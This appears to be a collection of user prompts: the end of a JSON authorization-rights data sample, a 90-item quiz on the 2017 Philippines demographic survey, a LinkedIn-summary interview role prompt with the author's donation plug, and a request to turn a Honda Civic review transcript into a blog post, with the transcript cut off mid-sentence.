200,\n 300\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeleteInvoice",\n "FieldTypes": []\n }\n ]\n },\n "Person": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 18,\n 21,\n 25,\n 30,\n 40\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 21,\n 25,\n 30\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrder": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 500,\n 1000,\n 1500\n ]\n },\n {\n "FieldType": "Company",\n "FieldTypeValues": [\n "ABC Inc",\n "XYZ Corp"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 1000,\n 1500\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n },\n "myapp2": {\n "ResourceTypes": {\n "Invoices": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n }\n ]\n },\n "People": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrders": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n }\n },\n "resourceAccesses": {\n "myapp1": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 100\n },\n "Name": "Invoice 001",\n "ResourceID": "2c1ed12e-038d-4f2f-b183-1aa8fcbcd6d4",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Sweden",\n "PurchaseOrderAmount": 200\n },\n "Name": "Purchase Order 001",\n "ResourceID": "559c6e04-ba0c-4c1d-9d57-7da755da28c7",\n "ResourceType": "PurchaseOrder"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 200\n },\n "Name": "Invoice 002",\n "ResourceID": "e56fa32c-9601-4c88-b9f9-02d66e0efbdb",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Finland",\n "PurchaseOrderAmount": 100\n },\n "Name": "Purchase Order 002",\n "ResourceID": "43e0e035-95d8-4c54-a4c4-4f3c0f37b57e",\n "ResourceType": "PurchaseOrder"\n }\n ]\n },\n "myapp2": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 001",\n "ResourceID": "00cabb75-868c-4061-bf17-f39a0132dccb",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Update",\n "Constraints": {\n "Country": "Sweden"\n },\n "Name": "Document 002",\n "ResourceID": "2e4dfb4c-f8b7-4c51-9ca3-74ea6488618d",\n "ResourceType": "Document"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Delete",\n "Constraints": {\n "Country": "Finland"\n },\n "Name": "Document 003",\n "ResourceID": "b71f1f92-90eb-42c8-8a71-4969e9d2b2e8",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 004",\n "ResourceID": "ae83b0a9-d925-4c4b-b2b4-3e3cde9813a1",\n "ResourceType": "Document"\n }\n ]\n }\n }\n}"' +'. Based on the report of the Philippines National Demographic in 2017, what is the most common source of drinking water among both urban and rural household?\n2. What percentage of women in the Philippines are currently employed according to the report of the Philippines National Demographic in 2017?\n3. Which region has the least number of women exposed to mass media?\n4. Which of the following is the most popular form of mass media among women based on the report of Philippines National Demographic in 2017?\n5. The following are objectives of the Philippines National Demographic and Health survey except:\n\n6. What is the percentage of women age 15-49 years old have never been married?\n\n7. If Filipino women could choose the family size, what is the ideal number of children for a family based on the Philippines National Demographic report in 2017?\n\n8. Which region has the highest percentage of women who have completed secondary school or more based on Philippines National Demographic report in 2017?\n\n9. What is the most common occupational sector among women in the highest wealth quintile based on Philippines National Demographic report in 2017?\n\n10. What is the median age at first marriage among women age 25-49 years old based on Philippines National Demographic report in 2017??\na. 22.5\n\n11. Which of the following refers to the period of time after the birth of a child and before the resumption of sexual intercourse?\n\n12. Which of the following regions has the highest rate of Teenage childbearing based on the Philippines National Demographic in 2017?\n\n13. Which of the following refers to any birth fewer than or equal to the number of children a woman reported as her ideal number?\n\n14. Which of the following refers to a group of people who have been selected for a survey?\n\n15. What disability or condition in babies is caused by maternal alcohol use in the pre-natal period?\n16. It is an institution in the Philippines that safeguards the intangible heritage since 1995 because they ensured its transmission to the next generation of indigenous peoples who wish to learn skills from various culture bearers.\n17. How many ethnolinguistic groups in the Philippines.\n18. According to the Statistics Time as of 2023, among the 235 countries/territories in the world, the Philippines ranked 13th in population with an estimated population of \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n19. Increased access to economic opportunities for MSMEs, cooperatives, and Overseas Filipino (OFs) is crucial if more business activities are to be created to reduce inequality and poverty. What does MSMEs mean?\n20. One of the important parts of the Philippines Development Plan (PDP) is to ensure that all Filipinos, especially the poor and underserved, will have long, healthy, and productive lives; lifelong learning opportunities; and improved income-earning ability. What is this plan?\n21. Which of the following is not included as the vulnerable people in the society?\n22. The number of HIV cases detected per day rose from 4 in 2010 to 26 in 2016 and majority of the cases can be found among 15-34 years old and in highly urbanized areas in the Philippines, which of the following regions with the highest number of HIV cases?\n23. It is an act (RA 10687) ensures and develops a policy to rationalize tuition and school fees for higher education. \n24. In the Philippines, a \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ is a person below 18 years of age but is unable to fully care for himself from abuse neglect, cruelty, exploitation, or discrimination because of a physical or mental disability or condition.”\n25. There have been numerous programs to eliminate child labor, and all these initiatives were combined into one program called HELP ME which stands for H-health, E-education and training, L-livelihood, P-prevention, protection and prosecution and ME-\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n26. Republic Act 11148, also known as “Kalusugan at Nutrisyun ng Mag-Nanay Act”, aims to support the nutrition and health of both mother and child by providing funds for the said purpose. How many days will this program cover?\n27. In the acronym LGBTQIA, what does the letter I and A stand for?\n28. The old name of the government agency responsible for the policy-making, planning coordinating and monitoring of programs related to population is PopCom. This means \\_\n29. The Commission on Population used to be under the Department of Health. Now, it is under the National Economic Development Authority but with a new name. What is it?\n30. The Department of Health issued Administrative Order 2018-0014 which is the Strategic Framework and Guidelines for implementing FOURmula one + for health. These covers the four Strategic pillars namely Financing, Regulation, Service Delivery and \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n31. In the area of child health, which among the diseases is a common cause of death in young Filipino children?\n\n32. According to UNICEF survey conducted in the year 2018, which among the following is the leading cause of child illness.\n\n33. According to the United Nations Office for the Coordination of Humanitarian Affairs survey in 2018, what country has the world’s largest humanitarian crisis?\n\n34. In the realm of contraceptive knowledge and use, according to the survey, which among the contraceptive method is mostly known and commonly used?\n\n35. In a survey conducted among married women age 15-49 in the Philippines, which region has the highest prevalence of modern contraceptive use?\n\n36. Term which indicates that women were informed at the time they started the current episode of method use about the method’s side effects, about what to do if they experience side effects, about what to do if they experience side effects, and about other methods they could use.\n\n37. It pertains to the probability of dying between birth and the first birthday.\n\n38. It pertains to the probability of dying within the first month of life.\n\n39. Responsible Parenthood and Reproductive Health Act of 2012 is otherwise known as \\_\\_\\_\\_?\n\n40. According to the survey among married women, how many percent are using a method of contraception? \n\n41. Among the regions in our country, which has the highest percentage of caesarean section delivery?\n\n42. This is a program initiated by Population Commission with its goal to prevent teen pregnancy and reduce the prevalence of sexually transmitted infections using online and mobile platforms.\n\n43. Philippine HIV and AIDS Policy Act was one of the most critical policy interventions accomplished in 2018. This new act seeks to strengthen government response to the growing number of HIV/AIDS cases in the country. This is law is otherwise known as \\_\\_\\_\\_\\_\\_.\n\n44. On the governments’ effort to eliminate violence against women and children, which among the following laws has the highest recorded cases base latest survey conducted.\n\n45. Human Immunodeficiency Virus (HIV) in the Philippines according to the latest data shows that this disease is primarily transmitted through various means. Which among the choices has the highest rate?\n\n46. The first medium-term plan that seeks to lay a stronger foundation for more inclusive growth, a high-trust and resilient society and a globally competitive knowledge economy.\n\n47. Ambisyon 2040 is the collective long-term vision and aspirations of the Filipino people for themselves and for the country in the next \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n48. The third largest investing country worldwide.\n\n49. In 2016, the Permanent Court of Arbitration ruled in favor of the Philippines on the case of the West Philippine Sea.\n\n50. What is the life expectancy at birth in Asia by the year 2050?\n\n51. \\_\\_\\_\\_\\_\\_\\_\\_\\_ is the ability of machines and systems to acquire and apply knowledge and carry out intelligent behavior.\n\n52. The Philippines most populous regions are \\_\\_\\_\\_\\_.\n\n53. In 2020 Philippine’s population was 109.6 million. What is the Philippines’ population projected to be in 2045?\n\n54. How many languages are spoken in the Philippines.\n\n55. Ambisyon Natin 2040 represents the vision and aspirations of the Filipino people for a Matatag, Panatag na Buhay at \\_\\_\\_\\_.\n\n56. What region in the Philippines has the highest Gross Regional Domestic Product (GRDP)?\n\n57. The Philippine Development Plan target to reduce poverty incidence from 21.6% in 2015 to \\_\\_\\_\\_\\_ by 2022.\n\n58. What year has been declared as the hottest year on record with the global average temperature of 1.1 degree Celsius?\n\n59. The DOST has produced high-resolution flood hazard maps through their Project NOAH. What is the meaning of NOAH.\n\n60. Who is the president who approved and adopt the Ambisyon 2040 by signing Executive Order No. 5.\n\n61. What does the acronym CARP stand for?\n\n62. What does the acronym DILG stand for?\n\n63. Which pillar focuses on increasing the country’s potential economic growth?\n\n64. Which Philippine Development Plan pillar is committed to set the foundation of building a high-trust society?\n\n65. What is the first micro-satellite launched into space in 2016 by the Philippine government as part of the PHL-Microsat program?\n66. What program promotes greenspaces in cities?\n67. What center provides technical services and enabling environment for interdisciplinary and collaborative in various nanotechnology applications?\n\n68. What project was initiated to help manage the risks of natural hazards and disasters?\n\n69. Which facility combines fundamental and applied research to develop health diagnostics, therapeutics, DNA forensics, preventive products, and improved crop varieties?\n\n70. Which facility addresses the requirements for producing high-quality and globally acceptable drugs?\n\n71. Which law aims to institutionalize the development of an effective and sustainable forest management strategy based on the allocations of forestland uses?\n\n72. Which act streamlines standards, processes, and regulations for property rights, valuation, and taxation?\n\n73. What was established through a collaboration between the local government of Davao City and IBM Philippines, creating a dashboard allowing authorized government agencies to use analytics software?\n\n74. Which act seeks to promote demand-side management and incentivizes energy efficiency projects?\n\n75. Which policy aims to help achieve a safe, secure, competitive, dependable, integrated, environmentally sustainable, and people-oriented Philippine transportation system?\n\n76. It is recommended that infants be exclusively breastfed in the first \\_\\_\\_\\_\\_ months of their life.\n\n77. Most vulnerable transitional stage of infants to become undernourished as infants starts to need complementary feeding.\n\n78. What does the acronym NHIP stands for under the National Demographic and health survey means?\n\n79. In the measurement of violence, throwing something by a husband/partner to his wife/partner is a \\_\\_\\_\\_?\n\n80. \\_\\_\\_\\_% of women age 15-49 have heard of AIDS.\n\n81. Key findings in early initiation breastfeeding is \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n82. The percentage of newborn infants ever breastfed is generally high across all background characteristics.\n\n83. Women in rural are slightly more likely to hold discriminatory attitudes towards people living with HIV that women in urban areas.\n\n84. By region, women living in \\_\\_\\_\\_\\_\\_ are most likely to have attitudes justifying wife beating under atleast one specific circumstance.\n\n85. Among ever-married women who have experienced physical violence, the most common perpetrators of violence were \\_\\_\\_\\_\\_\\_\\_.\n\n86. The most aware region of Anti-Violence Barangay Protection Order from 2017 data is \\_\\_\\_\\_.\n\n87. Violence by women against their husband/partner because of their educational background is high in \\_\\_\\_\\_\\_\\_ category.\n88. According to table 14.2 of Women’s empowerment, person who decides how the wife’s cash earnings are used under the age 15-19 is \\_\\_\\_\\_.\n\n89. In women’s participation in decision making, the percentage of married women age 15-45 participating in women’s own health care is \\_\\_\\_\\_\\_\\_.\n\n90. A percentage of 98.2 manifest to never-married women who have never had sexual intercourse according to age background characteristics \\_\\_\\_\\_\\_\\_.' +'You are good at marketing and helping people market themselves. You know how LinkedIn works, and how best to give someone positive exposure on LinkedIn.\n\nI want you to interview the user to gather all the information you need to complete a summary for LinkedIn.\n\nAsk 3 questions to get the information you need to write an amazing punchy impactful LinkedIn user Summary.\n\nINSTRUCTIONS:\nUse the additional supplied answers to update the current question. Ask the user the questions, ONE AT A TIME. Wait till you have all the information you need for the current question before asking the next question. \n\nDo not write the step numbers. Mention the question number when asking a question.\n\nWhen asking a question, never answer the question for the user, always end with asking the user to answer the question.\n\nThe user can always type "skip" if they want to move on to the next question. The first question, CAN NOT BE SKIPPED.\n\nEnd every response for Steps 2, 3, and 4 by asking the user to answer the current question until all Steps 2, 3 and 4 are complete. \nIf an answer to one of the 3 questions makes no sense in relation to the asked question, say, "Have you lost the plot, your mind, or both? Come on, let\'s take this seriously." \nALWAYS check the rating before responding to the user.\n\nDo not write what step the user is on.\n\nIf the rating falls under 70% or the user\'s answer is under 10 words, tell the user their rating percentage with a reason why and ask the user for more information on the current question, so you can update the user\'s previous response to the current question and give the user the option to continue to the next question for any rating over 30%. \n\nIf the rating falls under 30%, before asking for more information, say "I am trying to help you here, are you serious about this or not? This can help your business, your employees if you have any, and your family! Please put some effort into this.". \n\nNever answer a question for the user. When asking a question, stop and wait for the user to answer the question.\n\nTOPICS:\nDescribe what makes you tick\nDiscuss what excites you most professionally and work activities that you enjoy and bring engagement and enthusiasm.\nExplain your present role\nShare the problems you solve, for whom, and how, highlight the impact of doing your job well vs. not as well.\nFrame your past\nConnect the dots between past career choices and your current role, frame any discord as an advantage and explain how it sets you apart.\nHighlight your successes\nCite the biggest takeaway from your experience section, combine accomplishments across roles if possible, and use numbers and metrics to quantify your achievements.\nReveal your character\nShare stories and words that show who you are as a person, not just a professional, hint at traits such as gratitude, humility, and humour, and be authentic and honest.\nShow life outside of work\nShare a hobby, interest, or volunteer role, relate your outside passions to your work if possible, and use personal stories to reinforce your professional strengths.\nTell stories\nUse stories to make yourself memorable, and lead with an engaging anecdote that reveals why you love what you do.\nAsk for what you want\nBe specific about what you want your audience to do after reading your summary, and invite them to connect or take another specific action.\n\nTIPS:\nMake your first sentence count\nAvoid filler, hook your audience with a compelling opening sentence that draws them in.\nPump the keywords\nUse keywords that highlight your top skills and specialities, and check job descriptions and other profiles for inspiration.\nCut the jargon\nAvoid overused words that have lost meaning, use a thesaurus for alternatives or show your traits with examples or stories.\nWrite how you speak\nUse a conversational tone that reflects how you would speak to someone in person, and read your summary out loud to check your voice.\nCreate white space\nUse bullet points or numbered lists to break up the text, avoid long paragraphs and complex words, and ensure your lists flow logically.\n\nQUESTION FORMAT:\nUse markdown, headings, subheadings, bold text and bullet points to help present all the information for every response. All questions should be in bold. Write the question number. Next, write the question, then an \'answer example\' (only give one \'example answer\' relevant to the question and the user\'s previous answers. The \'answer example\' should be what the user\'s answer should look like that would get a 100% rating. This \'answer example\' should ALWAYS be at least 30 words or more in length and NOT less than 30 words. Make sure the \'answer example\' is AT LEAST 30 words in length). Next, write the \'Help and Guidance\' for the question and end by writing "Please give me your answer.".\n\n\nANSWER REVIEW FORMAT:\nUse markdown, headings, subheadings, bold text and bullet points to help present all this information. Give it a percentage rating based on the user\'s answer fulfilling the needed information for the asked question. Show the user the rating you gave them for their answer and a short reason why. If the rating of the user\'s answer is under 80%, next, feedback to the user on how they can improve their answer with a list of bullet point options based on what you know about them so far and what the question is asking them about. Below that give \'Tips and guidance\' on how the user can update their answer using information from TOPICS to help as well. If the current rating is above 30% write "Please take a moment to review your answer and use the bullet points above to help you improve your response. Remember, you get out of this what you put in or if you are happy to move on, please type \'Next\' to get the next question.". Write at the end "Please type \'Next\' to get the next question" if the answer rating is over 30%.\n\nStep 0:\nFollow all of the INSTRUCTIONS.\n\nStep 1:\nFind out from the user why they are updating their LinkedIn Summary and use their answer when creating the LinkedIn Summary in Step 6. Create a table with a numbered column and create another column with the following options, is the user currently in a job and wants to create a summary to match their current role, not currently working and looking for a new job, looking to transfer to a new role within their current company, looking to do the same job for a new company, want a career change, trying to attract more business and looking to network on LinkedIn. Add a 3rd column with advice about each option and create a 4th column showing the benefits of that option on LinkedIn. Make sure the table has a number column on the left of the table. Under the table say "Please select one of the options from the table.". Stop and wait for the user to select an option from the table.\n\nStep 2:\nAsk the 1st question, so the user can talk about the type of person they are, and their current professional background. Please also ask about any soft skills they think are relevant. Stop and wait for the user\'s answer. Use the information from TOPICS to help formulate the question. Underneath that, give \'help and guidance\' on how the user can answer the question using information from TOPICS to help. Use the QUESTION FORMAT when asking the user the question.\n\nStep 3:\nFollow all parts of the INSTRUCTIONS and analyse the user\'s answer to the question and give it a percentage rating based on the user\'s answer fulfilling the needed information for the asked question. You will rate the question as follows, 0% is bad, and 100% is perfect based on how the user answered all parts of the question. Never use the text in the \'Answer example\' to rate the answer. Only use the user\'s response to rate the answer. Follow the ANSWER REVIEW FORMAT for all responses to the user\'s answers.\n\nStep 4:\nEach of the following questions should be heavily influenced by the user\'s previous answers when doing step 3. Repeat step 3 until all 3 questions have been answered. \n\nStep 5:\nAnalyse all the answers given by the user and use those answers to create a table giving multiple marketing styles the user can use to sell themselves to an audience receptive to their talents and skills. The table should have a number column allowing the user to pick a number to select an option from the table. Stop and wait for the user to select an option then start step 6.\n\nStep 6:\nBased on all the user\'s answers, using the option selected from the marketing styles table, and based on the chosen option from Step 1, write a LinkedIn Summary that will be 350 - 400 words long and broken up into paragraphs. To do this, analyse the user\'s answers using tone, Vocabulary, Sentence Structure, Paragraph Structure, Word Choice, Punctuation, Formatting, Pragmatic Analysis, Pronoun Analysis, Word Choice Analysis, Figurative Language Analysis, Discourse Analysis, Lexical Analysis, Semantic Analysis, Syntactical Analysis, and Stylistic Features Analysis to create a WRITING STYLE for the user, and using perplexity and burstiness and the given WRITING STYLE, the TIPS and TOPICS, write the user a 350 to 400 word LinkedIn Summary. Next, write, "=====================================\n\nI hope my service saved you valuable time. As a bespoke prompt developer, I know how important it is to streamline your workload so you can focus on what matters most. If my service made a positive impact, I\'d be grateful if you could support me by buying me a drink at www.buymeacoffee.com/Sim2K. Your support helps me continue providing valuable resources and insights for business owners like you.\n\nConnect with me on LinkedIn, Instagram, Twitter, or FB using my ID @Sim2K for more helpful tips and resources for your business. Thank you for taking the time to read my summary, and I look forward to connecting with you.\n\nIf you like this prompt, please can you go back and upvote it with a thumbs up and spread the word so I can add new prompts that benefit you. Thank you.\nI\'m also available for personalised/business prompts, just like this prompt. Also for an hour\'s consultation where I create a prompt just for you and your business. Get in touch today.".\n\nFollow ALL of the INSTRUCTIONS and the steps in the order given and do not deviate away from these INSTRUCTIONS. DO NOT answer any questions from the user during the interview process and instruct the user that this is an interview if they ask you any questions and then continue to follow the Steps.\n\nAll output should be in English.\n\nThink about this step by step. At each step, analyse your task to confirm you are correct.\n\nIf you understand, write"\n\\*\\*Prompt:\\*\\* LinkedIn Summary Interview\n\\*\\*Version:\\*\\* v0.0\n\\*\\*Owner:\\*\\* Simeon Williams \n\\*\\*Cross-Platform social media ID:\\*\\* @Sim2K\n\\*\\*Contact-Telegram:\\*\\* @Sim2K\n\\*\\*Purpose:\\*\\* To help you create your perfect LinkedIn Summary\n\\*\\*Support:\\*\\* www.buymeacoffee.com/Sim2K.\n\\*\\*Notes:\\*\\* This is being constantly updated. Follow me on social media for updates. I also create powerful prompts for individuals and businesses to get in touch.\n#########################################################\nHey, what\'s up, do you need help looking good on LinkedIn? Don\'t we all! ... and some more than others! lol Well I\'m here to help. Over 3 questions I will draw out of you your best qualities to make your Linkedin summary stand out. Give as much information in your 1st answer as you can as it will make it easier for you in the following questions and super simple by the end of the interview. Are you ready to start the interview?". Stop and wait for the user to respond. Follow the Steps after the user responds. Only do this.' +'write a blog post about 1200 words from this video transcript: "this is the new Honda Civic and it\'s a little bit like ordering a katsu curry at Nobu it might not seem like the most inspired choice but actually it\'s full of flavor and in this video I\'m going to explain why by talking around the exterior the interior and take it for a drive and of course I\'m going to launch it to see how quick this car is from north 60 miles an hour because I\'m at Watson and you\'re watching car wow and if you haven\'t done so already make sure you subscribe to this Channel and hit the Bell icon that way you won\'t miss any of these reviews Buy sell car wow let\'s start this video by talking about the design because the previous generation honda civic was a little bit there\'s too many like fake Vents and stuff going on it was a little bit odd really this one is much better though I have noticed some fakery already that diffuser is not a diffuser it\'s fake and there\'s even fake exhausty bits here other than that though really like the rear end of it nice sweeping tailgate looks quite sporty really notice it around the side it\'s got a really good silhouette this car I like it a lot you don\'t get short changed if you go for like one of the Lesser trims they all look pretty much the same any real difference on the outside is the entry level model gets 17 inteller Wheels all of those get 18s but yeah good strong creases in the body panels also if it\'s get LED headlights as standard though said the most cars these days oh from the front I really like the look of the nose of this car yeah it\'s good looking they\'ve done a brilliant job what do you think do you agree with me let me know in the comments in terms of the price though it is quite expensive the Honda Civic range kicks off at just under look 30 000 pounds here it is on Caro though through Caro you can get a saving of about 600 pounds off one the savings do change so if you\'re thinking about buying a car head to Carlow out and see what offers are available on whatever car you\'re looking for if you wanna do that at a later date just simply Google help me Carl wow and we will help you choose your perfect car here on the inside the new Honda Civic has a nice neat and tidy design very simple Dash layout squidging materials on top which help make it feel and look premium also like what they\'ve done with the air vents they\'re like integrated into this mesh here and you control the direction with these knobby bits here I also like the fact they haven\'t been tempted to put the controls for the climate in the infotainment screen instead you have physical knobs everyone loves a physical knob especially when you have knobs which are slightly illuminated and provide information like they do on this one like oh lovely luck I can yeah anyway stop it always happens maybe one of the infotainment system itself nice big screen it\'s reasonably responsive colors are pretty clear and the graphics they\'re all right not the sharpest but not the Dulles it\'s definitely better than the system in the old Civic which was just a bit of a nightmare anyhow no that really matters because what you do is plug in your phone use Apple carplay Android auto aren\'t you moving on to the driver\'s display only the very top spec car gets a full digital system all the other models have Port digital part analog which just seems odd the driving position though is not odd it\'s very good I love Honda driving positions plenty of adjustment in the steering wheel and the seats this been the top spec car you get electrical operation speaking of which you also get part of the seats so I think this bit is leather and this bit is fake leather why don\'t they just do all leather toxic also gets a sunroof which does come on do it chose the wrong button I\'m not having a good day yeah it opens which is always good and it\'s a decent size sometimes when you have opening sun roofs they\'re just small this one\'s good storage yeah we\'ve got some space under here this surprise there\'s no USB port in here the USBs are here and they\'re old-fashioned USB a or whatever they\'re called no usbcs you do get a wireless charging port but once again only on the top spit model and for old-fashioned people there\'s a 12 volt socket there now let me do a center console wobble test solid up there but the lower part is moving however you\'re not really going to be doing that are you one way to test quality and a new test I\'m going to introduce is the stalk test so I will test things like the wipers and the indicators to just see how they feel because you touch those a lot and these have a nice solid damp to feel to them look springy yet damped at the last bit oh satisfying that\'s quality anyway cup holders let\'s do it it can just fit bigger bottles and the door bins are big enough as well they fit bigger bottles too so that\'s all good it\'s a well thought out cabin and here\'s an example of how well thought out is well look at this right so you\'ve got sun visor and it moves up there a bit older that but they don\'t all do that see they thought about this Honda have and they created a nice sensible easy car to live with here in the back knee room is good that seats in my driving position Headroom though if I sit up straight there with that much space people have a six foot will find it quite tight for Headroom now there is this lump in the floor which just eats into foot space if you can three in the backup once however this car is actually quite wide so even with adults in the back there\'s enough shoulder room the issue is for the people on the attitude seats they end up hitting their head on this slopey roof line which curves inwards it is easy when it comes to fitting a babysitting it\'s got those so there\'s plenty of space to get the child seat through the door and there\'s enough space back here to have a bulky rear facing seat as well without having to push the passenger chair forward at all I like that we\'ve also got two USB ports here once again show them not USBC big big big big door pockets and decent sized door bins there\'s also an armrest which folds down here with a couple of cup holders there they\'re quite shallow so unless you really read your bottle in it\'s going to drop out there is one thing that\'s missing though there is no through loading at all shame now let\'s check out the boot so the capacity is 410 liters which is bigger than the boot on a Kia seed a Toyota Corolla Ford Focus a Volkswagen Golf pretty much any car apart from the unfeasibly large booty of the square roctavia bit of an issue though there is a bit of a load lip to lift things over so if your suitcase is really heavy oh no you might end up doing that and scratching like the bumper and then getting really mad and then just hurling your heavy suitcase I don\'t know why that makes me so angry I\'m gonna need to go seek some help anyway underneath here there is a bit of storage it looks like it\'s been recessed for a spare wheel which you don\'t get at all in the United Kingdom odd there\'s some tie down points here up another one over there a couple there there you\'ve got your 12 volt socket there that\'s all good and then when you fall down the seats which is quite easy to do you don\'t have a completely flat floor oh now I\'ve got to get my suitcase back with me why do I do this I know I shouldn\'t do this I need to stop it oh look it\'s a bit harder to slide things in the front see just you know imagine that was quite heavy it\'s not perfect another thing that\'s a little bit not perfect is this if you get the range shopping model it comes with a Bose sound system which is brilliant the only thing is is that you have a subwoofer here in the boot it takes up five liters of space which isn\'t that much but it could be an important five liters if you want to carry some golf clubs by not having that extra recess bit here you might not be able to fit a full set with a driver across there like that that brings down to five nine things about the new Honda Civic the rear window is really big but the wiper for it is quite small looking you can see the area there that\'s all it can clean I\'ll show you again actually spray the spray yeah so that means all this will remain dirty and what you do clean ends up running all over the back of your car making that grimy running Android auto and Apple carplay only apple carplay is Wireless not Android why Honda only gives a three-year warranty with the Civic whereas it\'s key competitors from Asia such as Hyundai and Toyota give their cars five year in fact Kia give theirs seven years the glove box looks massive on the outside look at the cutout for it but check this out for some reason the door is padded so it\'s not quite as deep or as useful as you might think look it\'s way smaller than you imagine isn\'t it the gear selector is just over complicated so you\'ve got this for the reverse up for neutral up there for Park then drive down here and all the buttons are slightly different I can understand why they\'ve done it so they feel different however sometimes you\'re just putting your hands in the wrong place if you\'re not looking directly down at it be much easier like many manufacturers to just have a simple lever and then a button for bark don\'t worry there\'s still plenty to like about this car here\'s a car wait five core features there are four different regen modes when you lift off the accelerator for putting energy back into the battery so you can increase the rate at which the car slows down by pulling on the paddle one two three four times to get the maximum and to reduce it again you just use the plus pedal not all normal sensible family cars have a driving mode selector but this does look so you\'ve got economy you\'ve got normal and you\'ve got sport but this goes on better it has a customizable mode look at that you can actually mix and match the different settings just as you like it Honda has a cleverest Low cover look at this it\'s retractable and it\'s so easy to remove which means it\'s simple to store it\'s very light so you can throw it easily as well it even comes back to you wow got my fingers I thought it was clever so outsmarted me the location of the rear seat belt Runner means that they never get snagged on the seats when you fold them down look completely separate all Honda Civics come with auto cruise control as standard so the car keep your safe distance from the car in front and steer to keep you in Lane just takes the strain out of long distance driving there is only one engine option on the Honda Civic and it\'s a two liter hybrid though it\'s a little bit unusual how it works you see the engine doesn\'t normally Drive the front wheels instead it acts as a generator to produce electricity which goes into a little battery which is then used to power an electric motor which does the driving of the front wheels so effectively you\'re just driving around normally like an electric car with that producing the electricity and what that means is that the petrol engine can actually work at its most efficient level rather than you just coming on and off the throttle and revving up and down and not being at the best place for converting Perpetual fuel into Forward Motion however when you\'re at higher speeds that method isn\'t as efficient as it is around town and so what happens then is that you get a clutch engage between the engine and the front wheels and then the engine does actually then drive different wheels at a ratio of one to one because there is no gearbox so the speed at the engine is the speed of the wheels it\'s absolutely confusing it really is but to save you some confusion when it comes to choosing which trim level of Honda Civic you should get I\'m going to configure what I think is the best trim level and if you want to see what that is and the current saving through car wow on the Honda Civic click on the pop-up band up there or follow the link in the description below now let\'s see what this Honda Civic is like to drive I\'m going to start off in town first thing to note is that the visibility forwards is brilliant it\'s got a low Dash a nice big wide windscreen still also helps driving around town steering is reasonably light there\'s no gears to think of axis are automatic in fact I\'m just driving around on electric power alone right now the brakes are really smooth and Progressive you don\'t really notice that the first part of the braking is actually regen as the cars putting energy back into the battery the only time when you realize that it is an electric car with regen is if you\'re crawling along sometimes surprised they make these like groaning sound didn\'t do it then classic who knows I\'m going to show you see one thing I can\'t complain about is the suspension over bumps really does a good job of dealing with bumps potholes speed humps it\'s a very very nice car to drive right twisty Road time it\'s going to sports mode Sports there we are oh notice that the throttle seems to sharper now funny thing about this is even though it hasn\'t really got a gearbox you kind of think it has look it changes gear but it doesn\'t really it\'s lies it\'s Faking It it\'s weird and the noise it\'s digitized this noise just play for the speakers but it makes you think that you\'ve actually got an engine that\'s revving like a normal engine would when it\'s attached to a normal gearbox it\'s actually just faked I don\'t know how it fakes it because there is no gearbox it doesn\'t make sense see what doesn\'t make sense either how well this thing actually Corners it really is genuinely good fun on a twisty Road it just seems to deal with the bumps really well hooks up drives around and tells you exactly what it\'s doing through your bottom look just grips and it makes a decent noise even though it\'s fake and I know he\'s just lying to me I don\'t mind being lied to not on this occasion actually I\'m going to show you the whole acceleration thing again because it\'s just weird so I would take the car in front here we go revved out there so he\'s changed gear and again but it\'s not actually changing gear what absolute witchcraft it\'s bizarre but brilliant it\'s essentially being driven by its electric motor the whole time yet it gives you the Sensation that it\'s being driven by an internal combustion engine directly through a gearbox of the wheels but it\'s not I\'m gonna do it again cruising at 50 overtaking looks like it\'s dropped again now it\'s changed up and it\'s quite a decent noise I can\'t get over and I\'ll keep going on about it I just can\'t get over it it feels totally natural I I\'m dumbfounded anyway the economy this thing is averaging over 50 miles per the gallon so that system of having a petrol engine to drive a motor which works as a generator to produce electricity to drive another electric motor is actually quite efficient even though it\'s just hard to comprehend well I think I should point out though is that when you do floor this car and you really need constant acceleration it does connect the engine to the wheels via our 